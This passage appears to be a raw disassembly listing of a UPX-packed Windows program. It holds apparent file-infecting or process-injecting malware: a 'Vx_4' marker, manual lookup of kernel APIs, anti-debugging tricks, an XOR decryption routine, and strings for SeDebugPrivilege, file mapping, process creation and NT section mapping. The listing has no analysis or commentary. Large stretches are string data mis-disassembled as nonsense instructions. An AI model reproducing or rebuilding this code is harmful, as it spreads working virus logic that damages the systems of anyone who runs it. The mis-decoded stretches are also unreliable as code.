ebx, ebx jnz short loc_3150846B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150846B: ; CODE XREF: UPX1:31508462j adc ecx, ecx add ebx, ebx jnz short loc_31508478 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508478: ; CODE XREF: UPX1:3150846Fj adc ecx, ecx jnz short loc_3150849C inc ecx loc_3150847D: ; CODE XREF: UPX1:3150848Cj ; UPX1:31508497j add ebx, ebx jnz short loc_31508488 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508488: ; CODE XREF: UPX1:3150847Fj adc ecx, ecx add ebx, ebx jnb short loc_3150847D jnz short loc_31508499 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3150847D loc_31508499: ; CODE XREF: UPX1:3150848Ej add ecx, 2 loc_3150849C: ; CODE XREF: UPX1:3150847Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_315084BC loc_315084AD: ; CODE XREF: UPX1:315084B4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_315084AD jmp loc_3150841E ; --------------------------------------------------------------------------- align 4 loc_315084BC: ; CODE XREF: UPX1:315084ABj ; UPX1:315084C9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_315084BC add edi, ecx jmp loc_3150841E ; --------------------------------------------------------------------------- loc_315084D2: ; CODE XREF: UPX1:3150845Cj pop esi mov edi, esi mov ecx, 0CAh loc_315084DA: ; CODE XREF: UPX1:315084E1j ; UPX1:315084E6j mov al, [edi] inc edi sub al, 0E8h loc_315084DF: ; CODE XREF: UPX1:31508504j cmp al, 1 ja short loc_315084DA cmp byte ptr [edi], 1 jnz short loc_315084DA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_315084DF lea edi, [esi+6000h] loc_3150850C: ; CODE XREF: UPX1:3150852Ej mov eax, [edi] or eax, eax jz short loc_31508557 mov ebx, [edi+4] lea eax, [eax+esi+8000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+808Ch] xchg eax, ebp loc_31508529: ; CODE XREF: UPX1:3150854Fj mov al, [edi] inc edi or al, al jz short loc_3150850C mov ecx, edi jns short near ptr loc_3150853A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_3150853A: ; CODE XREF: UPX1:31508532j mov ecx, 0AEF24857h push ebp call dword ptr [esi+8090h] or eax, eax jz short loc_31508551 mov [ebx], eax add ebx, 4 jmp short loc_31508529 ; --------------------------------------------------------------------------- loc_31508551: ; CODE XREF: UPX1:31508548j call dword ptr [esi+8094h] loc_31508557: ; CODE XREF: UPX1:31508510j popa jmp loc_31501D18 ; --------------------------------------------------------------------------- align 1000h UPX1 ends ; Section 3. (virtual address 00009000) ; Virtual size : 0001A000 ( 106496.) ; Section size in file : 0001A000 ( 106496.) ; Offset to raw data for section: 00009000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31509000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 90C4h, 908Ch, 3 dup(0) dd 90D1h, 909Ch, 3 dup(0) dd 90DEh, 90A4h, 3 dup(0) dd 90E9h, 90ACh, 3 dup(0) dd 90F4h, 90B4h, 3 dup(0) dd 9100h, 90BCh, 5 dup(0) dd 7C801D77h dword_31509090 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_315159F2+50r ... dd 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C4D444h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h dd 6Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh dd 408B0018h dword_31509218 dd 40B60F30h ; --------------------------------------------------------------------------- add al, [ebx+3C7500F8h] call $+5 pop ebp sub ebp, 402320h mov eax, [ebp+402367h] add eax, [ebp+40236Fh] mov esi, eax mov eax, [ebp+40236Bh] add eax, [ebp+40236Fh] push eax mov edi, esi xor ecx, ecx loc_3150924D: ; CODE XREF: UPX2:3150925Cj lodsb xor al, [ebp+402377h] stosb inc ecx cmp ecx, [ebp+402373h] jl short loc_3150924D retn ; --------------------------------------------------------------------------- db 2Bh dd 30FF64C0h, 0B8208964h, 12345678h, 60000387h, 84000000h dd 0 dd 26003150h, 500000h, 760h dup(0) ; --------------------------------------------------------------------------- call $+5 cld mov eax, [esp] mov ecx, [eax+29BBh] mov [eax+3303h], ebx and ecx, 400000h mov ebx, [esp+4] jz short loc_3150B04D pop ecx mov [eax+3307h], esi mov cl, [eax+29BFh] mov [eax+330Bh], edi cmp cl, 0E8h jz short loc_3150B041 mov ebx, [eax+29C1h] jmp short loc_3150B04B ; --------------------------------------------------------------------------- loc_3150B041: ; CODE XREF: UPX2:3150B037j mov ecx, [eax+29C0h] mov ebx, [ecx+ebx+2] loc_3150B04B: ; CODE XREF: UPX2:3150B03Fj mov ebx, [ebx] loc_3150B04D: ; CODE XREF: UPX2:3150B01Fj push ebp mov ebp, eax sub dword ptr [esp+4], 1E05h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+1039CCh] mov ecx, 0F9h rep movsb sldt cx test ecx, ecx jnz short loc_3150B07B or eax, 0FFFFFFFFh int 2Eh ; DOS 2+ internal - EXECUTE COMMAND ; DS:SI -> counted CR-terminated command string loc_3150B07B: ; CODE XREF: UPX2:3150B074j and ebx, 0FFFFF000h loc_3150B081: ; CODE XREF: UPX2:3150B090j cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3150B092 loc_3150B08A: ; CODE XREF: UPX2:3150B09Fj sub ebx, 100h jnz short loc_3150B081 loc_3150B092: ; CODE XREF: UPX2:3150B088j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3150B08A add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3150B0AC: ; CODE XREF: UPX2:loc_3150B0C0j lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3150B0C0 cmp dword ptr [eax+5], 6441636Fh jz short loc_3150B0C5 loc_3150B0C0: ; CODE XREF: UPX2:3150B0B5j loop loc_3150B0AC pop ecx jmp short loc_3150B0F0 ; --------------------------------------------------------------------------- loc_3150B0C5: ; CODE XREF: UPX2:3150B0BEj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101137h] lea ecx, [ebp+101120h] mov dx, [eax-19h] call ecx jmp short loc_3150B137 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3150B17E loc_3150B0F0: ; CODE XREF: UPX2:3150B0C3j ; sub_3150B17E+10j ... mov eax, [ebp+1039C0h] and eax, 400000h jz short loc_3150B11C lea esi, [ebp+1039C4h] lodsd mov edi, [esp+arg_0] stosd mov ebx, [ebp+104308h] movsb mov edi, [ebp+104310h] mov esi, [ebp+10430Ch] loc_3150B11C: ; CODE XREF: sub_3150B17E-83j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_3150B17E ; --------------------------------------------------------------------------- dw 0D9EDh ; =============== S U B R O U T I N E ======================================= sub_3150B120 proc near ; CODE XREF: sub_3150D45B+2DFp push ebx mov ecx, 2889h mov ebx, edx loc_3150B128: ; CODE XREF: sub_3150B120+13j xor [eax], dl sub dl, bl add eax, 1 xchg bl, bh xchg dl, dh loop loc_3150B128 pop ebx retn sub_3150B120 endp ; --------------------------------------------------------------------------- loc_3150B137: ; CODE XREF: UPX2:3150B0EEj call near ptr loc_3150B146+2 inc ebx insb outsd jnb short near ptr loc_3150B1A3+3 dec eax popa outsb db 64h insb loc_3150B146: ; CODE XREF: UPX2:loc_3150B137p add gs:[ebx-1], dl setalc mov [ebp+103E62h], eax call near ptr loc_3150B162+1 inc ebx jb short loc_3150B1BE popa jz short near ptr loc_3150B1C0+1 inc ebp jbe short near ptr loc_3150B1C0+4 outsb jz short loc_3150B1A3 loc_3150B162: ; CODE XREF: UPX2:3150B151p add [ebx-1], dl setalc mov [ebp+103E66h], eax call sub_3150B17E inc edi db 65h jz short near ptr loc_3150B1C0+1 popa jnb short near ptr loc_3150B1EA+2 inc ebp jb short near ptr loc_3150B1EA+3 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_3150B17E proc near ; CODE XREF: UPX2:3150B16Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 3150B0F0 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 3150B534 SIZE 0000000B BYTES push ebx call esi ; rand mov [ebp+103E6Ah], eax call sub_3150B55F test eax, eax jz loc_3150B0F0 push eax call dword ptr [ebp+103E6Ah] test eax, eax jnz loc_3150B534 loc_3150B1A3: ; CODE XREF: UPX2:3150B160j ; UPX2:3150B13Fj cmp byte ptr [ebp+10153Fh], 1 jnz short loc_3150B1C0 push dword ptr [ebp+104308h] dec byte ptr [ebp+10153Fh] pop dword ptr [ebp+101598h] loc_3150B1BE: ; CODE XREF: UPX2:3150B157j jmp short loc_3150B1C7 ; --------------------------------------------------------------------------- loc_3150B1C0: ; CODE XREF: sub_3150B17E+2Cj ; UPX2:3150B15Aj ... and dword ptr [ebp+101598h], 0 loc_3150B1C7: ; CODE XREF: sub_3150B17E:loc_3150B1BEj and dword ptr [ebp+101588h], 0 and dword ptr [ebp+10158Ch], 0 and dword ptr [ebp+101590h], 0 push edi mov byte ptr [ebp+1012D4h], 1 mov [ebp+103E6Eh], esi loc_3150B1EA: ; CODE XREF: UPX2:3150B176j ; UPX2:3150B179j lea esi, [ebp+101604h] xor ecx, ecx lea edi, [ebp+103E7Ah] mov cl, 20h call sub_3150B59C pop edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jz loc_3150B2E3 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+103E72h], eax push 7328h push 0 call dword ptr [ebp+103EF2h] test eax, eax jz loc_3150B534 xchg eax, edi lea esi, [ebp+101000h] mov ebp, edi mov ecx, 0CCAh sub ebp, 101000h lea edx, [ebp+101254h] rep movsd jmp edx ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+101B4Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+103E72h] add esp, 20h test eax, eax jz loc_3150B534 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+103E72h] test eax, eax jz loc_3150B534 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+103E72h] push 1000Ah call dword ptr [ebp+103E72h] call loc_3150B2D3 jmp loc_3150B534 ; --------------------------------------------------------------------------- loc_3150B2D3: ; CODE XREF: sub_3150B17E+14Bp ; sub_3150B17E+162j push 0 pop ecx jecxz short locret_3150B2E2 push 0Ah call dword ptr [ebp+103EE6h] jmp short loc_3150B2D3 ; --------------------------------------------------------------------------- locret_3150B2E2: ; CODE XREF: sub_3150B17E+158j retn ; --------------------------------------------------------------------------- loc_3150B2E3: ; CODE XREF: sub_3150B17E+8Bj cmp dword ptr [ebp+103E92h], 0 jz loc_3150B534 call near ptr loc_3150B2FA+1 dec esi push esp inc esp dec esp dec esp loc_3150B2FA: ; CODE XREF: sub_3150B17E+172p add bh, bh sub_3150B17E endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al lea esi, [ebp+1017DEh] xor ecx, ecx lea edi, [ebp+103EFAh] mov cl, 0Eh xchg eax, ebx call sub_3150B59C cmp dword ptr [ebp+103F2Eh], 0 jz loc_3150B534 mov eax, [ebp+103EFEh] push dword ptr [eax+1] pop dword ptr [ebp+103917h] mov eax, [ebp+103F16h] push dword ptr [eax+1] pop dword ptr [ebp+103964h] mov eax, [ebp+103F02h] push dword ptr [eax+1] pop dword ptr [ebp+10396Bh] cmp dword ptr [ebp+10396Bh], 10000h jnb loc_3150B534 mov ecx, [ebp+103F06h] jecxz short loc_3150B383 push dword ptr [ecx+1] pop dword ptr [ebp+103978h] mov ecx, [ebp+103F0Eh] jecxz short loc_3150B383 push dword ptr [ecx+1] pop dword ptr [ebp+103985h] loc_3150B383: ; CODE XREF: UPX2:3150B367j ; UPX2:3150B378j call sub_3150B540 lea edi, [ebp+103F84h] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+1015EBh] mov ecx, 19h lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah lea edx, [ebp+103E30h] loc_3150B3CC: ; CODE XREF: UPX2:3150B3D5j lodsb mov [edx], ax stosw add edx, 2 loop loc_3150B3CC mov edx, esp push 0 push 7328h mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+103F0Ah] pop eax add esp, 40h push 7328h mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 7328h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+103F12h] pop edi pop ecx test edi, edi jz loc_3150B534 lea esi, [ebp+101000h] mov ecx, 0CCAh mov ebp, edi rep movsd sub ebp, 101000h lea eax, [ebp+10144Ah] jmp eax ; --------------------------------------------------------------------------- dw 5450h dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0E8570065h dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh, 6295FF57h, 6A00103Eh dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh, 33000005h dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h dd 103E62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3150B17E loc_3150B534: ; CODE XREF: sub_3150B17E+1Fj ; sub_3150B17E+B2j ... call dword ptr [ebp+103E62h] jmp loc_3150B0F0 ; END OF FUNCTION CHUNK FOR sub_3150B17E ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_3150B540 proc near ; CODE XREF: UPX2:loc_3150B383p ; sub_3150B55F+2p pop edx push 0 push 0 push 0 push 0 push 40001h mov eax, esp push 0 push eax push 0Ch mov eax, esp jmp edx sub_3150B540 endp ; --------------------------------------------------------------------------- aVx_4 db 'Vx_4',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_3150B55F proc near ; CODE XREF: sub_3150B17E+9p xor ecx, ecx call sub_3150B540 lea edx, [ebp+101559h] push edx push ecx push ecx push eax call dword ptr [ebp+103E66h] add esp, 20h retn sub_3150B55F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 585858h, 3328h, 0E73h, 1, 2 dup(0) dd 29C0h, 0 ; =============== S U B R O U T I N E ======================================= sub_3150B59C proc near ; CODE XREF: sub_3150B17E+7Cp ; UPX2:3150B312p ... push ecx push esi push ebx call dword ptr [ebp+103E6Eh] stosd pop ecx loc_3150B5A7: ; CODE XREF: sub_3150B59C+Ej lodsb test al, al jnz short loc_3150B5A7 loop sub_3150B59C retn sub_3150B59C endp ; =============== S U B R O U T I N E ======================================= sub_3150B5AF proc near ; CODE XREF: sub_3150D12D+25p ; FUNCTION CHUNK AT 3150B639 SIZE 000003C0 BYTES ; FUNCTION CHUNK AT 3150BA09 SIZE 00000027 BYTES lea edx, [ebp+101985h] push edx call dword ptr [ebp+103EC6h] mov [ebp+104288h], eax call near ptr loc_3150B5DC+1 dec esp outsd outsd imul esi, [ebp+70h], 50h jb short loc_3150B639 jbe short near ptr loc_3150B639+2 insb db 65h, 67h, 65h push esi popa insb jnz short loc_3150B640 inc ecx loc_3150B5DC: ; CODE XREF: sub_3150B5AF+13p add [eax-1], dl sub_3150B5AF endp ; sp-analysis failed xchg eax, ebp outsb db 3Eh adc [eax], al mov [ebp+10428Ch], eax retn ; --------------------------------------------------------------------------- db 5Ch ; \ db 42h ; B db 61h ; a db 73h ; s db 65h ; e db 4Eh ; N db 61h ; a db 6Dh ; m db 65h ; e db 64h ; d db 4Fh ; O db 62h ; b db 6Ah ; j db 65h ; e db 63h ; c db 74h ; t db 73h ; s db 5Ch ; \ db 56h ; V db 74h ; t db 53h ; S db 65h ; e db 63h ; c db 74h ; t db 0 db 6Ch ; l db 73h ; s db 74h ; t db 72h ; r db 6Ch ; l db 65h ; e db 6Eh ; n db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 4Dh ; M db 61h ; a db 70h ; p db 70h ; p db 69h ; i db 6Eh ; n db 67h ; g db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 50h ; P db 72h ; r db 6Fh ; o db 63h ; c db 65h ; e db 73h ; s db 73h ; s db 41h ; A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3150B5AF loc_3150B639: ; CODE XREF: sub_3150B5AF+1Fj ; sub_3150B5AF+21j add [ebx+72h], al db 65h popa jz short near ptr loc_3150B6A3+2 loc_3150B640: ; CODE XREF: sub_3150B5AF+2Aj push edx db 65h insd outsd jz short loc_3150B6AB push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_3150B6B6+2 push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_3150B6C2+3 push esp outsd outsd insb push 33706C65h xor dl, [ebx+6Eh] popa jo short near ptr loc_3150B6E1+1 push 4500746Fh js short loc_3150B6DF jz short near ptr loc_3150B6CB+1 push 64616572h add [esi+69h], al insb db 65h push esp imul ebp, [ebp+65h], 79536F54h jnb short loc_3150B700 db 65h insd push esp imul ebp, [ebp+65h], 65724600h db 65h dec esp imul esp, [edx+72h], 797261h inc edi db 65h jz short near ptr loc_3150B6E3+6 loc_3150B6A3: ; CODE XREF: sub_3150B5AF+8Fj imul ebp, [ebp+41h], 69727474h loc_3150B6AB: ; CODE XREF: sub_3150B5AF+95j bound esi, [ebp+74h] db 65h jnb short loc_3150B6F2 add [edi+65h], al jz short near ptr loc_3150B6FB+1 loc_3150B6B6: ; CODE XREF: sub_3150B5AF+A2j imul ebp, [ebp+53h], 657A69h inc edi db 65h jz short loc_3150B708 loc_3150B6C2: ; CODE XREF: sub_3150B5AF+AFj imul ebp, [ebp+54h], 656D69h inc edi loc_3150B6CB: ; CODE XREF: sub_3150B5AF+C7j db 65h jz short near ptr loc_3150B71A+1 outsd db 64h jnz short near ptr loc_3150B739+5 db 65h dec eax popa outsb db 64h insb db 65h inc ecx add [edi+65h], al jz short near ptr loc_3150B72D+6 loc_3150B6DF: ; CODE XREF: sub_3150B5AF+C5j db 65h insd loc_3150B6E1: ; CODE XREF: sub_3150B5AF+BEj jo short near ptr loc_3150B727+2 loc_3150B6E3: ; CODE XREF: sub_3150B5AF+F1j imul ebp, [ebp+4Eh], 41656D61h add [edi+65h], al jz short near ptr loc_3150B741+3 db 65h insd loc_3150B6F2: ; CODE XREF: sub_3150B5AF+FFj jo short near ptr loc_3150B741+3 popa jz short near ptr loc_3150B75E+1 inc ecx add [edi+65h], al loc_3150B6FB: ; CODE XREF: sub_3150B5AF+105j jz short loc_3150B753 db 65h jb short near ptr loc_3150B772+1 loc_3150B700: ; CODE XREF: sub_3150B5AF+DBj imul ebp, [edi+6Eh], 74654700h push esi loc_3150B708: ; CODE XREF: sub_3150B5AF+110j db 65h jb short near ptr loc_3150B77C+2 imul ebp, [edi+6Eh], 417845h inc edi db 65h jz short near ptr loc_3150B76B+1 outsd insb jnz short near ptr loc_3150B781+6 loc_3150B71A: ; CODE XREF: sub_3150B5AF:loc_3150B6CBj db 65h dec ecx outsb outsw jb short near ptr loc_3150B78C+2 popa jz short near ptr loc_3150B78C+1 outsd outsb inc ecx loc_3150B727: ; CODE XREF: sub_3150B5AF:loc_3150B6E1j add [edi+ebp*2+61h], cl db 64h dec esp loc_3150B72D: ; CODE XREF: sub_3150B5AF+12Ej imul esp, [edx+72h], 41797261h add [ebp+61h], cl jo short loc_3150B78F loc_3150B739: ; CODE XREF: sub_3150B5AF+120j imul esp, [ebp+77h], 6946664Fh insb loc_3150B741: ; CODE XREF: sub_3150B5AF+13Fj ; sub_3150B5AF:loc_3150B6F2j add gs:[edi+70h], cl outs dx, byte ptr gs:[esi] inc esi imul ebp, [ebp+4Dh], 69707061h outsb db 67h inc ecx loc_3150B753: ; CODE XREF: sub_3150B5AF:loc_3150B6FBj add [edi+70h], cl outs dx, byte ptr gs:[esi] push eax jb short near ptr loc_3150B7C9+1 arpl [ebp+73h], sp loc_3150B75E: ; CODE XREF: sub_3150B5AF+146j jnb short $+2 push eax jb short loc_3150B7D2 arpl [ebp+73h], sp jnb short near ptr loc_3150B794+7 xor al, [esi+69h] loc_3150B76B: ; CODE XREF: sub_3150B5AF+164j jb short near ptr loc_3150B7DA+6 jz short $+2 push eax jb short near ptr loc_3150B7DA+7 loc_3150B772: ; CODE XREF: sub_3150B5AF+14Ej arpl [ebp+73h], sp jnb short near ptr loc_3150B7A9+1 xor cl, [esi+65h] js short near ptr loc_3150B7EC+4 loc_3150B77C: ; CODE XREF: sub_3150B5AF:loc_3150B708j add [ebx+65h], dl jz short near ptr loc_3150B7C5+2 loc_3150B781: ; CODE XREF: sub_3150B5AF+169j imul ebp, [ebp+41h], 69727474h bound esi, [ebp+74h] loc_3150B78C: ; CODE XREF: sub_3150B5AF+173j ; sub_3150B5AF+170j db 65h jnb short loc_3150B7D0 loc_3150B78F: ; CODE XREF: sub_3150B5AF+188j add [ebx+65h], dl jz short loc_3150B7DA loc_3150B794: ; CODE XREF: sub_3150B5AF+1B7j imul ebp, [ebp+54h], 656D69h push ebx insb db 65h, 65h jo short $+4 push ebx jns short loc_3150B818 jz short loc_3150B80C insd push esp loc_3150B7A9: ; CODE XREF: sub_3150B5AF+1C6j imul ebp, [ebp+65h], 69466F54h insb db 65h push esp imul ebp, [ebp+65h], 6D6E5500h popa jo short loc_3150B813 imul esp, [ebp+77h], 6946664Fh insb loc_3150B7C5: ; CODE XREF: sub_3150B5AF+1D0j add gs:[esi+69h], dl loc_3150B7C9: ; CODE XREF: sub_3150B5AF+1AAj jb short near ptr loc_3150B83E+1 jnz short loc_3150B82E insb inc ecx insb loc_3150B7D0: ; CODE XREF: sub_3150B5AF:loc_3150B78Cj insb outsd loc_3150B7D2: ; CODE XREF: sub_3150B5AF+1B2j arpl [eax], ax push edi jb short loc_3150B840 jz short loc_3150B83E inc esi loc_3150B7DA: ; CODE XREF: sub_3150B5AF+1E3j ; sub_3150B5AF:loc_3150B76Bj ... imul ebp, [ebp+0], 6441744Eh push 75h jnb short loc_3150B85A push eax jb short near ptr loc_3150B84F+3 jbe short near ptr loc_3150B84F+5 insb loc_3150B7EC: ; CODE XREF: sub_3150B5AF+1CBj db 65h, 67h, 65h jnb near ptr 0B845h outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3150B83B+1 jb short near ptr loc_3150B85F+1 popa jz short loc_3150B863 inc esi imul ebp, [ebp+0], 7243744Eh db 65h popa jz short loc_3150B870 push eax loc_3150B80C: ; CODE XREF: sub_3150B5AF+1F6j jb short loc_3150B87D arpl [ebp+73h], sp jnb short $+2 loc_3150B813: ; CODE XREF: sub_3150B5AF+20Cj dec esi jz short near ptr loc_3150B856+3 jb short loc_3150B87D loc_3150B818: ; CODE XREF: sub_3150B5AF+1F4j popa jz short loc_3150B880 push eax jb short loc_3150B88D arpl [ebp+73h], sp jnb short near ptr loc_3150B863+5 js short $+2 dec esi jz short loc_3150B86B jb short loc_3150B88F popa jz short near ptr loc_3150B88F+3 push ebx loc_3150B82E: ; CODE XREF: sub_3150B5AF+21Cj arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl inc ebx jb short near ptr loc_3150B89E+1 popa loc_3150B83B: ; CODE XREF: sub_3150B5AF+248j jz short loc_3150B8A2 push ebp loc_3150B83E: ; CODE XREF: sub_3150B5AF+228j ; sub_3150B5AF:loc_3150B7C9j jnb short near ptr loc_3150B8A4+1 loc_3150B840: ; CODE XREF: sub_3150B5AF+226j jb short near ptr loc_3150B88F+3 jb short loc_3150B8B3 arpl [ebp+73h], sp jnb short $+2 dec esi jz short loc_3150B899 popa jo short near ptr loc_3150B8A4+1 loc_3150B84F: ; CODE XREF: sub_3150B5AF+238j ; sub_3150B5AF+23Aj imul esp, [ebp+77h], 6553664Fh loc_3150B856: ; CODE XREF: sub_3150B5AF+265j arpl [ecx+ebp*2+6Fh], si loc_3150B85A: ; CODE XREF: sub_3150B5AF+235j outsb add [esi+74h], cl dec edi loc_3150B85F: ; CODE XREF: sub_3150B5AF+24Aj jo short loc_3150B8C6 outsb inc esi loc_3150B863: ; CODE XREF: sub_3150B5AF+24Dj ; sub_3150B5AF+272j imul ebp, [ebp+0], 704F744Eh loc_3150B86B: ; CODE XREF: sub_3150B5AF+277j outs dx, byte ptr gs:[esi] push eax jb short loc_3150B8DF loc_3150B870: ; CODE XREF: sub_3150B5AF+25Aj arpl [ebp+73h], sp jnb short loc_3150B8C9 outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3150B8CB+1 loc_3150B87D: ; CODE XREF: sub_3150B5AF:loc_3150B80Cj ; sub_3150B5AF+267j jo short near ptr loc_3150B8E3+1 outsb loc_3150B880: ; CODE XREF: sub_3150B5AF+26Aj push ebx arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl push eax jb short near ptr loc_3150B8FB+1 loc_3150B88D: ; CODE XREF: sub_3150B5AF+26Dj jz short near ptr loc_3150B8F3+1 loc_3150B88F: ; CODE XREF: sub_3150B5AF+279j ; sub_3150B5AF+27Cj ... arpl [esi+edx*2+69h], si jb short loc_3150B909 jnz short near ptr loc_3150B8F7+1 insb dec ebp loc_3150B899: ; CODE XREF: sub_3150B5AF+29Bj db 65h insd outsd jb short near ptr loc_3150B914+3 loc_3150B89E: ; CODE XREF: sub_3150B5AF+289j add [esi+74h], cl push ecx loc_3150B8A2: ; CODE XREF: sub_3150B5AF:loc_3150B83Bj jnz short loc_3150B909 loc_3150B8A4: ; CODE XREF: sub_3150B5AF:loc_3150B83Ej ; sub_3150B5AF+29Ej jb short near ptr loc_3150B91E+1 dec ecx outsb outsw jb short near ptr loc_3150B918+1 popa jz short loc_3150B918 outsd outsb push esp outsd loc_3150B8B3: ; CODE XREF: sub_3150B5AF+293j imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3150B90F+2 jb short loc_3150B925 jz short near ptr loc_3150B922+1 push esi imul esi, [edx+74h], 4D6C6175h loc_3150B8C6: ; CODE XREF: sub_3150B5AF:loc_3150B85Fj db 65h insd outsd loc_3150B8C9: ; CODE XREF: sub_3150B5AF+2C4j jb short loc_3150B944 loc_3150B8CB: ; CODE XREF: sub_3150B5AF+2CCj add [edx+74h], dl insb push ebp outsb imul esp, [ebx+6Fh], 74536564h jb short near ptr loc_3150B941+2 outsb db 67h push esp outsd inc ecx loc_3150B8DF: ; CODE XREF: sub_3150B5AF+2BFj outsb jnb short near ptr loc_3150B94A+1 push ebx loc_3150B8E3: ; CODE XREF: sub_3150B5AF:loc_3150B87Dj jz short loc_3150B957 imul ebp, [esi+67h], 41535700h push ebx jz short loc_3150B950 jb short loc_3150B965 jnz short near ptr loc_3150B962+1 loc_3150B8F3: ; CODE XREF: sub_3150B5AF:loc_3150B88Dj add [ebx+6Ch], ah outsd loc_3150B8F7: ; CODE XREF: sub_3150B5AF+2E6j jnb short loc_3150B95E jnb short near ptr loc_3150B969+1 loc_3150B8FB: ; CODE XREF: sub_3150B5AF+2DCj arpl [ebx+65h], bp jz short $+2 arpl [edi+6Eh], bp outsb arpl gs:[eax+eax+67h], si loc_3150B909: ; CODE XREF: sub_3150B5AF+2E4j ; sub_3150B5AF:loc_3150B8A2j db 65h jz short near ptr loc_3150B973+1 outsd jnb short near ptr loc_3150B981+2 